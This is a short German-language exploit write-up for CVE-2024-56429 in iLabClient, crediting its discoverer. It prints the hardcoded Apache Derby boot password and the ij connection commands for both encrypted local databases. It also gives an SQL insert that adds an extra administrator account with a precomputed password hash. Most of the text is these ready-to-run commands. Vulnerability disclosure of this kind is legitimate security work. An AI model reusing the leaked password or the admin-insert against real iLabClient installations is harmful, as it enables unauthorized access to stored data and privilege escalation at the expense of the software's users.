
Exploit für CVE-2024-56429, der die Extraktion des Apache-Derby-Datenbank-Boot-Passworts aus dem iLabClient-Quellcode demonstriert und so eine lokale Datenbankverbindung sowie eine Privilegienausweitung durch Benutzermanipulation ermöglicht.
Zugriff auf die lokale Datenbank des iLabClient
Der iLabClient verwendet eine Apache-Derby-Datenbank, um die lokal benötigten Daten zu speichern. Zur Sicherstellung der Verschlüsselung wird bei der Erstellung ein bootPassword verwendet, das aus dem Quellcode extrahiert werden kann (der extrahierte Code befindet sich in DecyptedBootPassword.java). Nach der Ausführung des extrahierten Quellcodes erhält der Benutzer das bootPassword.
jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==
Beim ersten Start des iLabClient wurden die beiden lokalen Datenbanken iLabCLient und iLabDB erstellt. Um sich mit diesen Datenbanken zu verbinden, kann das Tool ij von Apache Derby verwendet werden, Download.
ij starten:
"C:\ilabClient\java8u422\bin\java.exe" -jar "...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" ij
"C:\ilabClient\java8u422\bin\java.exe": Installierte und verwendete Java-Version vom iLabClient
"...\db-derby-10.14.2.0-lib\lib\derbyrun.jar": Apache-Derby-Bibliothek
Verbindung zur Datenbank herstellen:
cd "C:\ilabClient\db
connect 'jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
connect 'jdbc:derby:iLabDB;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
Sobald die Verbindung hergestellt wurde, können die Daten gelesen und manipuliert werden. Zum Beispiel durch das Hinzufügen eines weiteren Benutzers mit mehr Rechten.
insert into users (USERID, BENUTZER, NAME, PARAMS, HASH) values (4, 'admin2', 'Administrator', '111111111111111111', 'SHA-256:B6382EC801B1BBD5C464C6A5F9C8CFFDC603A7D3A4916B1F50BD592678E8380B');
Der benötigte Hash kann mit der Klasse GenerateUserData.java erzeugt werden.
Entdeckerin: Lisa Ulbrich (Lufthansa Industry Solutions AS GmbH)